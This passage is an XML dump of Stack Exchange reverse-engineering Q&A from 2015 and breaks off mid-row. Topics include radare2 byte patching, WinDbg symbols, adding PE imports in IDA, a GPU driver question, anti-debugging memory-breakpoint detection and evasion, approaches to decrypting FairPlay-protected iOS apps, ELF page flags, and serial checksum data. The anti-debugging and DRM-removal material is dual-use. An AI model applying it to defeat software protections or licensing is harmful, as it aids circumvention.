  <row Id="8546" PostTypeId="2" ParentId="8520" CreationDate="2015-03-24T19:15:19.710" Score="2" Body="&lt;p&gt;You could use &lt;a href=&quot;http://www.radare.org/r/&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt; to do this. First open the binary in &quot;write&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -w ./binaryname&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you need to seek to the address you wish to modify: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s 0x8048739&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming that you wished to write out, say 5 NOPs for whatever reason, you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wx 9090909090&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally to save and quit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2015-04-27T10:21:10.163" LastActivityDate="2015-04-27T10:21:10.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8547" PostTypeId="2" ParentId="8354" CreationDate="2015-03-24T22:13:11.767" Score="2" Body="&lt;p&gt;If WinDbg does not show method names, the symbols are not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.symfix C:\debug\symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be able to download PDB files from Microsoft. Then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sympath+ C:\mypdbs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to add the symbols of your own application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.reload /f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make use of them.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2015-03-24T22:13:11.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8548" PostTypeId="2" ParentId="2133" CreationDate="2015-03-24T23:28:04.797" Score="8" Body="&lt;p&gt;if adding an extra import section to the PE file is an acceptable option   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use tools like iidking and add an import section with all the imports that are resolved dynamically    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use add cross referances dialog or idc add_dref() to add cross references to them    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code for demo &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib , &quot;user32.lib&quot;)&#xA;DWORD (WINAPI * MyGetShortPathName)(LPCTSTR,LPTSTR,DWORD);&#xA;int main (void) {&#xA;    MessageBox(NULL,&quot;testing add import&quot; , &quot;Test&quot;, MB_OK);&#xA;    char modname[MAX_PATH] = {0};&#xA;    GetModuleFileName(NULL,modname,MAX_PATH);&#xA;    printf(&quot;%s\n&quot;,modname);&#xA;    HMODULE hMod = LoadLibrary(&quot;kernel32.dll&quot;);&#xA;    if(hMod) {&#xA;        *(FARPROC *)&amp;amp;MyGetShortPathName = GetProcAddress(hMod,&quot;GetShortPathNameA&quot;);&#xA;        if(MyGetShortPathName) {&#xA;            MyGetShortPathName(modname,modname,MAX_PATH);&#xA;            printf(&quot;%s\n&quot;,modname);&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\codesnips\addimp\addimp.exe&#xA;C:\CODESN~1\addimp\addimp.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unmodified imports &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00412000  GetCurrentThread                      KERNEL32 &#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;00412130  MessageBoxA                           USER32   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;exe modified with iidking and an import GetShortPathNameA &#xA;added in the extra import section&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\codesnips\addimp&amp;gt;fc /b addimp.exe modaddimp.exe&#xA;Comparing files addimp.exe and MODADDIMP.EXE&#xA;000000E6: 04 05  no of section &#xA;00000131: 90 A0  &#xA;00000160: F4 00&#xA;00000161: 47 90&#xA;00000164: 3C 50&#xA;00000278: 00 2E .&#xA;00000279: 00 49 I&#xA;0000027A: 00 49 I&#xA;0000027B: 00 44 D&#xA;0000027C: 00 4B K&#xA;0000027D: 00 69 I&#xA;0000027E: 00 6E N&#xA;0000027F: 00 67 G&#xA;00000281: 00 02 vsize&#xA;00000285: 00 90 &#xA;00000286: 00 01&#xA;00000289: 00 02&#xA;0000028D: 00 5E&#xA;0000028E: 00 01&#xA;0000029C: 00 20&#xA;0000029F: 00 E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ida imports window copy paste of modified exe&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00412000  GetCurrentThread                      KERNEL32 &#xA;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;00412130  MessageBoxA                           USER32   &#xA;00419058  GetShortPathNameA                     kernel32 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;double clicked 419058 -&gt; open view -&gt; open subviews -&gt; crooss referances-&gt; add cross refernces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Up P sub_401000+89 call    ds:GetProcAddress  (data xref)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or idc command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_dref(0x401089,0x419058,53);&#xA;AddCodeXref(0x419058,0x401089,53);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0mL9.png&quot; alt=&quot;AddImports&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compiling these three lines into a plugin will add the Desired import into the first module's import  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void idaapi run(int) {&#xA;nodeidx_t index = import_node.alt1st();&#xA;unsigned long value = import_node.altval(index);&#xA;netnode(value).supset(0x410004,&quot;GetShortPathNameA\0&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the idc file to create Segment&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main()&#xA;{&#xA;auto addr;&#xA;addr = 0x410000;&#xA;SegCreate(addr,addr+0x200,0,1,3,2);&#xA;SetSegmentType(addr,SEG_XTRN);&#xA;MakeDword(addr+4);&#xA;MakeName(addr+4,&quot;GetShortPathNameA&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;open an exe / run idc / plugin / close and save database / reopen database to see the added imports in imports tab of first module &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit&lt;br&gt;&#xA;windows -&gt; reset desktop works the same ways as closing and opening the database so that eleiminates closing and opening of database&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-03-31T05:31:58.643" LastActivityDate="2015-03-31T05:31:58.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8549" PostTypeId="1" CreationDate="2015-03-25T02:34:06.377" Score="5" ViewCount="5034" Body="&lt;p&gt;I have the binary file, and it's over 200 MB in size, which makes me think that such a task by myself would be beyond incredibly difficult to get anything done. I am trying to see how the driver communicates with the GPU exactly (because I need to emulate a GPU for a science project), and I need at least SOME IDEA of how DX and OpenGL work on the GPU's end from inspection of the device driver. It's 32 and 64 bit, and it works on Windows, but that's hardly a concern since the main care is in figuring out how exactly it sends data/command packets, what addresses they are sent to, how it scans PCI/etc., and how this can somewhat help me draw a better picture on how the GPU's internal functions work without any documentation. I know this will be hard, and I will manage to simulate how I think it will work, and only emulate how I know it is accessed, and work from there. I ask here because I need some help from the pros here on these subjects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.How does one begin reverse engineering something of this tier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.How much of the GPU's architecture should I expect to learn from this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.Will it be enough info overall to manage emulating/simulating the GPU somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am 100% serious, so I hope for some answers that can at least set me in motion.&lt;/p&gt;&#xA;" OwnerUserId="12067" LastActivityDate="2021-03-03T16:46:17.540" Title="Reverse engineering a proprietary GPU device driver?" Tags="|binary-analysis|driver|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8550" PostTypeId="1" CreationDate="2015-03-25T07:24:44.740" Score="1" ViewCount="589" Body="&lt;p&gt;Is it possible to find &lt;code&gt;Memory Breakpoints&lt;/code&gt; from within the debugged executable? (as an anti debugging technique?). And no, i &lt;strong&gt;do not mean&lt;/strong&gt; &lt;code&gt;Hardware Breakpoints&lt;/code&gt; from the &lt;code&gt;Dr0 - Dr7&lt;/code&gt; registers &lt;strong&gt;NOR&lt;/strong&gt; &lt;code&gt;INT3 \ code breakpoints&lt;/code&gt;.. Breakpoints like in OllyDBG when you right click a memory address and put a breakpoint on access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What ways exist to find such breakpoints?&#xA;How can i avoid detection?&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="11510" LastEditDate="2015-03-25T10:12:03.003" LastActivityDate="2015-03-25T14:47:49.067" Title="Finding memory breakpoints from debugged executable" Tags="|windows|ollydbg|anti-debugging|protection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8551" PostTypeId="2" ParentId="8550" CreationDate="2015-03-25T09:53:57.300" Score="-2" Body="&lt;p&gt;AFAIK this is possible, just read your own memory and look for 0xCC bytes. However this poses a problem since several compilers insert 0xCC bytes between functions (as kind of a trap in case of memory overwrite, I guess)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DG56X.png&quot; alt=&quot;INT3 padding between functions shown in IDA&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you would have to do is to know how many of those &quot;innocent&quot; INT3 was there before and check for anomalies. Sounds like prone to failure, IMHO :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPOILER: IIRC, this was one of the anti-RE mechanisms in the last Flare Challenge.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-03-25T09:53:57.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8552" PostTypeId="2" ParentId="8550" CreationDate="2015-03-25T10:57:34.227" Score="2" Body="&lt;p&gt;You could query the page level attributes of the section you're trying to verify. If the attributes contain unexpected values (e.g. &lt;em&gt;PAGE_NOACCESS&lt;/em&gt;), chances are that someone messed with your pages (possibly a debugger setting a memory breakpoint).&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2015-03-25T10:57:34.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8553" PostTypeId="2" ParentId="8549" CreationDate="2015-03-25T13:28:35.143" Score="2" Body="&lt;p&gt;Hum ...&#xA;Reverse engineering such a large piece of software will require a lot of will, time, and, of course, technical knowledge. &#xA;Honestly, unless you're considering starting a company or providing an open source/free software version of the driver, you'll be practically wasting your time. Especially if it is for a science project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must keep in mind that reverse engineering is not an exact science, for that manufacturers always keep most of their technology under wraps.&#xA;But if you're motivated enough, you must start by knowing how the target technology works. This can be &quot;partially&quot; accomplished by reading the available manuals and micro-benchmarking the platform (in this case the GPU).&#xA;I can assure you though, most architectural details provided in the manuals won't be 100% accurate. You'll always end up having outliers in your micro-benchmark results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're more concerned by the GPU/Host communication protocol than the architectural aspect of the GPU, I would recommend you checking &lt;a href=&quot;http://gpuocelot.gatech.edu/about/&quot; rel=&quot;nofollow&quot;&gt;Ocelot&lt;/a&gt;.&#xA;It's an open source emulator that targets GPUs and CPUs, and I'm sure will be a great source of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know that if you're targeting nVidia's GPUs, the driver doesn't do much but load the &lt;code&gt;PTX&lt;/code&gt; code in a specific memory area of the GPU where it'll be read from and executed. For more info about &lt;code&gt;PTX&lt;/code&gt; go to this &lt;a href=&quot;http://docs.nvidia.com/cuda/parallel-thread-execution/#axzz3VP4zXZBm&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2015-03-25T13:28:35.143" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8554" PostTypeId="2" ParentId="8550" CreationDate="2015-03-25T14:47:49.067" Score="1" Body="&lt;p&gt;This is covered in-depth in this blog post: &lt;a href=&quot;http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://waleedassar.blogspot.com/2012/11/defeating-memory-breakpoints.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... This trick can easily detect memory breakpoints. It relies on the fact&#xA;  that the &quot;&lt;strong&gt;ReadProcessMemory&lt;/strong&gt;&quot; function returns false if you try to read&#xA;  guarded or no-access memory. To use this trick, all you have to do is&#xA;  call the &quot;&lt;strong&gt;ReadProcessMemory&lt;/strong&gt;&quot; function with the &quot;&lt;strong&gt;Handle&lt;/strong&gt;&quot; parameter set&#xA;  to &lt;strong&gt;0xFFFFFFFF&lt;/strong&gt;, the &quot;&lt;strong&gt;lpBaseAddress&lt;/strong&gt;&quot; parameter set to the image base,&#xA;  and the &quot;&lt;strong&gt;nSize&lt;/strong&gt;&quot; parameter set to the size of image. If it returns&#xA;  false, then at least one memory breakpoint is present.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for your other question -- &quot;How can i avoid detection?&quot; -- that is answered here: &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8510/1562&quot;&gt;https://reverseengineering.stackexchange.com/a/8510/1562&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can't know how to avoid getting detected if you don't know how the&#xA;  detection works. I'd recommend finding and reverse engineering the&#xA;  detection logic so that you can either disable it (patch it out) or&#xA;  better understand how to avoid detection.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-03-25T14:47:49.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8555" PostTypeId="2" ParentId="2133" CreationDate="2015-03-25T16:50:36.187" Score="5" Body="&lt;p&gt;If you can not add something to the imports viewer you can write your own.&#xA;Here is the simple example (it is slightly modified example referenced at &lt;a href=&quot;http://www.hexblog.com/?p=229&quot; rel=&quot;noreferrer&quot;&gt;this hexblog entry&lt;/a&gt; and located &lt;a href=&quot;http://hexblog.com/ida_pro/files/ImportExportViewer.py&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; with added double-click functionality, added columns, removed exports and fixed bug for a case of unknown origin of the imported function). See the function BuildImports for creating additional imports (manual_func1 and manual_func2)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idautils&#xA;from idaapi import PluginForm&#xA;from PySide import QtGui, QtCore&#xA;&#xA;class ImpExpForm_t(PluginForm):&#xA;&#xA;    def imports_names_cb(self, ea, name, ord):&#xA;        self.items.append((ea, '' if not name else name, ord))&#xA;        # True -&amp;gt; Continue enumeration&#xA;        return True&#xA;&#xA;    def BuildImports(self):&#xA;        tree = {}&#xA;        nimps = idaapi.get_import_module_qty()&#xA;&#xA;        for i in xrange(0, nimps):&#xA;            name = idaapi.get_import_module_name(i)&#xA;            if not name:&#xA;                name = &quot;unknown&quot;&#xA;            # Create a list for imported names&#xA;            self.items = []&#xA;&#xA;            # Enum imported entries in this module&#xA;            idaapi.enum_import_names(i, self.imports_names_cb)&#xA;&#xA;            if name not in tree:&#xA;                tree[name] = []&#xA;            tree[name].extend(self.items)&#xA;        tree[&quot;manually_added&quot;] = [(0x01, &quot;manual_func1&quot;, 3), (0x02, &quot;manual_func2&quot;,4)]&#xA;&#xA;        return tree&#xA;&#xA;    def PopulateTree(self):&#xA;        # Clear previous items&#xA;        self.tree.clear()&#xA;&#xA;        # Build imports&#xA;        root = QtGui.QTreeWidgetItem(self.tree)&#xA;        root.setText(0, &quot;Imports&quot;)&#xA;&#xA;        for dll_name, imp_entries in self.BuildImports().items():&#xA;            imp_dll = QtGui.QTreeWidgetItem(root)&#xA;            imp_dll.setText(0, dll_name)&#xA;&#xA;            for imp_ea, imp_name, imp_ord in imp_entries:&#xA;                item = QtGui.QTreeWidgetItem(imp_dll)&#xA;                item.setText(0, &quot;%s&quot; % imp_name)&#xA;                item.setText(1, &quot;0x%08x&quot; % imp_ea)&#xA;                item.setText(2, &quot;0x%08x&quot; % imp_ord)&#xA;&#xA;    def dblclick(self, item):&#xA;        try:&#xA;            idaapi.jumpto(int(item.text(1).encode(&quot;ascii&quot;, &quot;ignore&quot;), 16))&#xA;        except:&#xA;            print &quot;Can not jump&quot;&#xA;&#xA;&#xA;    def OnCreate(self, form):&#xA;        &quot;&quot;&quot;&#xA;        Called when the plugin form is created&#xA;        &quot;&quot;&quot;&#xA;        # Get parent widget&#xA;        self.parent = self.FormToPySideWidget(form)&#xA;&#xA;        # Create tree control&#xA;        self.tree = QtGui.QTreeWidget()&#xA;        self.tree.setColumnCount(4)&#xA;        self.tree.setHeaderLabels((&quot;Names&quot;,&quot;Address&quot;, &quot;Ordinal&quot;, &quot;Source&quot;))&#xA;        self.tree.itemDoubleClicked.connect(self.dblclick)&#xA;        self.tree.setColumnWidth(0, 100)&#xA;&#xA;        # Create layout&#xA;        layout = QtGui.QVBoxLayout()&#xA;        layout.addWidget(self.tree)&#xA;&#xA;        self.PopulateTree()&#xA;        # Populate PluginForm&#xA;        self.parent.setLayout(layout)&#xA;&#xA;&#xA;    def OnClose(self, form):&#xA;        &quot;&quot;&quot;&#xA;        Called when the plugin form is closed&#xA;        &quot;&quot;&quot;&#xA;        global ImpExpForm&#xA;        del ImpExpForm&#xA;        print &quot;Closed&quot;&#xA;&#xA;&#xA;    def Show(self):&#xA;        &quot;&quot;&quot;Creates the form is not created or focuses it if it was&quot;&quot;&quot;&#xA;        return PluginForm.Show(self,&#xA;                               &quot;Imports / Exports viewer&quot;,&#xA;                               options = PluginForm.FORM_PERSIST)&#xA;&#xA;# --------------------------------------------------------------------------&#xA;def main():&#xA;    global ImpExpForm&#xA;&#xA;    try:&#xA;        ImpExpForm&#xA;    except:&#xA;        ImpExpForm = ImpExpForm_t()&#xA;&#xA;    ImpExpForm.Show()&#xA;&#xA;# --------------------------------------------------------------------------&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-03-25T16:59:19.743" LastActivityDate="2015-03-25T16:59:19.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8556" PostTypeId="2" ParentId="8535" CreationDate="2015-03-25T17:06:23.970" Score="2" Body="&lt;p&gt;I think you should review this blog post about &lt;a href=&quot;http://www.hexblog.com/?p=117&quot; rel=&quot;nofollow&quot;&gt;Custom data types and formats&lt;/a&gt;. This would allow you to define a new type of string and provide the algorithm to use for &quot;printing&quot; it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Custom data type: A custom type is basically just a way to tag some bytes for later display with custom format, when the built-in IDA types (dt_byte, dt_word, etc) are not enough.&#xA;  For example: an XMM vector, a Pascal string, a half-precision (16 bits) floating-point number, a 16:32 far pointer (fword), uleb128 number and so on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not clear that creating a new type would cause entries to show up in the strings menu, if not I'm sure you could use the names window with its filtering to have an alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details search the idaapi for &lt;em&gt;data_format_t&lt;/em&gt;, and check out &lt;em&gt;bytes.hpp&lt;/em&gt;. However, I think the first link will put you on the right track.&lt;/p&gt;&#xA;" OwnerUserId="11624" LastActivityDate="2015-03-25T17:06:23.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8557" PostTypeId="1" AcceptedAnswerId="8560" CreationDate="2015-03-25T18:27:04.003" Score="3" ViewCount="591" Body="&lt;p&gt;Perhaps I am misunderstanding how this works, but to my knowledge ELF binaries can either have NX protections for the stack, or not. What I am assuming is that there is a place in the binary that spells this out, but I'm not sure exactly where this information is stored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you figure out the page permissions for an ELF binary from a disassembly? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-03-28T14:11:39.937" Title="Where are page permissions stored in an ELF binary?" Tags="|disassembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8558" PostTypeId="2" ParentId="8528" CreationDate="2015-03-25T20:47:44.750" Score="5" Body="&lt;p&gt;In order to remove the iOS app encryption (called &lt;a href=&quot;http://en.wikipedia.org/wiki/FairPlay&quot; rel=&quot;noreferrer&quot;&gt;FairPlay&lt;/a&gt;), you'd need to do one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run the app on a physical ARM device and dynamically decrypt it.&lt;/li&gt;&#xA;&lt;li&gt;Run the app on a virtual ARM device and dynamically decrypt it.&lt;/li&gt;&#xA;&lt;li&gt;Statically decrypt the app.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Number 1 is the most common approach used, but it's out of the question since you're asking how to decrypt the app without access to a physical device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 2 seems to currently be out of the question since the only emulator I was able to find that supposedly &quot;supported&quot; iOS is &lt;a href=&quot;https://theiphonewiki.com/wiki/IEmu&quot; rel=&quot;noreferrer&quot;&gt;iEmu, which is now defunct&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number 3 is theoretically possible, but based on my Googling, nobody has yet written a static decrypter for FairPlay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;​&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Nota_bene&quot; rel=&quot;noreferrer&quot;&gt;N.B.&lt;/a&gt; iOS-based reverse engineering is definitely not my area of expertise, so perhaps someone can provide a better answer and/or correct any incorrect assumptions I've made above.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-25T20:47:44.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8560" PostTypeId="2" ParentId="8557" CreationDate="2015-03-26T06:30:30.707" Score="6" Body="&lt;p&gt;Permissions are in the p_flags member of the program header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       typedef struct {&#xA;           uint32_t   p_type;&#xA;           Elf32_Off  p_offset;&#xA;           Elf32_Addr p_vaddr;&#xA;           Elf32_Addr p_paddr;&#xA;           uint32_t   p_filesz;&#xA;           uint32_t   p_memsz;&#xA;           uint32_t   p_flags;&#xA;           uint32_t   p_align;&#xA;       } Elf32_Phdr;&#xA;&#xA;       p_flags     This member holds a bit mask of flags relevant to the&#xA;                   segment:&#xA;&#xA;                   PF_X   An executable segment.&#xA;                   PF_W   A writable segment.&#xA;                   PF_R   A readable segment.&#xA;&#xA;                   A text segment commonly has the flags PF_X and PF_R.  A&#xA;                   data segment commonly has PF_X, PF_W and PF_R.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="1481" LastEditDate="2015-03-26T06:41:11.203" LastActivityDate="2015-03-26T06:41:11.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8561" PostTypeId="1" AcceptedAnswerId="8567" CreationDate="2015-03-26T08:38:03.247" Score="2" ViewCount="736" Body="&lt;p&gt;I am writing a program to control an old camera over serial.&#xA;I have no access to the protocol or source code of the demonstration program that i have, but i can generate some correct checksums by monitoring the communications in wireshark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The length of the packets changes depending on what function i perform, and seems to sometimes change depending on the values of the contained data. (FF sometimes repeats in longer frames, although i cant be sure that these arent just errors)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last 2 bytes of data are the checksum i assume. Other parts are the message function and data. In the packet below, the 01 46 corresponds with the value 326 which the software reports.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10 02 41 02 20 01 46 10 03 cb a4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I personally cant see an obvious pattern to the checksum. The first byte seems to increment by 0x10 nicely with the data for a while, before jumping around then decrementing by 0x10, acting erratically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this seem familiar to anyone?&#xA;How can I go about determining the algorithm to generate the checksum on an arbitrary message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ill attach lots of data for you to look at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;10 02 41 02 20 01 46 10 03 cb a4&#xA;10 02 41 02 20 00 18 10 03 43 ae&#xA;10 02 41 02 20 00 19 10 03 53 8f&#xA;10 02 41 02 20 00 1a 10 03 63 ec&#xA;10 02 41 02 20 00 1b 10 03 73 cd&#xA;10 02 41 02 20 00 1c 10 03 03 2a&#xA;10 02 41 02 20 00 1d 10 03 13 0b&#xA;10 02 41 02 20 00 1e 10 03 23 68&#xA;10 02 41 02 20 00 1f 10 03 33 49&#xA;10 02 41 02 20 00 20 10 03 f4 f5&#xA;10 02 41 02 20 00 21 10 03 e4 d4&#xA;10 02 41 02 20 00 22 10 03 d4 b7&#xA;10 02 41 02 20 00 23 10 03 c4 96&#xA;10 02 41 02 20 00 24 10 03 b4 71&#xA;10 02 41 02 20 00 25 10 03 a4 50&#xA;10 02 41 02 20 00 26 10 03 94 33&#xA;10 02 41 02 20 00 27 10 03 84 12&#xA;10 02 41 02 20 00 28 10 03 75 fd&#xA;10 02 41 02 20 00 29 10 03 65 dc&#xA;10 02 41 02 20 00 2a 10 03 55 bf&#xA;10 02 41 02 20 00 2b 10 03 45 9e&#xA;10 02 41 02 20 00 2c 10 03 35 79&#xA;10 02 41 02 20 00 2d 10 03 25 58&#xA;10 02 41 02 20 00 2e 10 03 15 3b&#xA;10 02 41 02 20 00 2f 10 03 05 1a&#xA;10 02 41 02 20 00 30 10 03 e6 c4&#xA;10 02 41 02 20 00 31 10 03 f6 e5&#xA;10 02 41 02 20 00 32 10 03 c6 86&#xA;10 02 41 02 20 00 33 10 03 d6 a7&#xA;10 02 41 02 20 00 34 10 03 a6 40&#xA;10 02 41 02 20 00 35 10 03 b6 61&#xA;10 02 41 02 20 00 36 10 03 86 02&#xA;10 02 41 02 20 00 37 10 03 96 23&#xA;10 02 41 02 20 00 38 10 03 67 cc&#xA;10 02 41 02 20 00 39 10 03 77 ed&#xA;10 02 41 02 20 00 3a 10 03 47 8e&#xA;10 02 41 02 20 00 3b 10 03 57 af&#xA;10 02 41 02 20 00 3c 10 03 27 48&#xA;10 02 41 02 20 00 3d 10 03 37 69&#xA;10 02 41 02 20 00 3e 10 03 07 0a&#xA;10 02 41 02 20 00 3f 10 03 17 2b&#xA;10 02 41 02 20 00 40 10 03 98 53&#xA;10 02 41 02 20 00 41 10 03 88 72&#xA;10 02 41 02 20 00 42 10 03 b8 11&#xA;10 02 41 02 20 00 43 10 03 a8 30&#xA;10 02 41 02 20 00 44 10 03 d8 d7&#xA;10 02 41 02 20 00 45 10 03 c8 f6&#xA;10 02 41 02 20 00 46 10 03 f8 95&#xA;10 02 41 02 20 00 47 10 03 e8 b4&#xA;10 02 41 02 20 00 48 10 03 19 5b&#xA;10 02 41 02 20 00 49 10 03 09 7a&#xA;10 02 41 02 20 00 4a 10 03 39 19&#xA;10 02 41 02 20 00 4b 10 03 29 38&#xA;10 02 41 02 20 00 4c 10 03 59 df&#xA;10 02 41 02 20 00 4d 10 03 49 fe&#xA;10 02 41 02 20 00 4e 10 03 79 9d&#xA;10 02 41 02 20 00 4f 10 03 69 bc&#xA;10 02 41 02 20 00 50 10 03 8a 62&#xA;10 02 41 02 20 00 51 10 03 9a 43&#xA;10 02 41 02 20 00 52 10 03 aa 20&#xA;10 02 41 02 20 00 53 10 03 ba 01&#xA;10 02 41 02 20 00 54 10 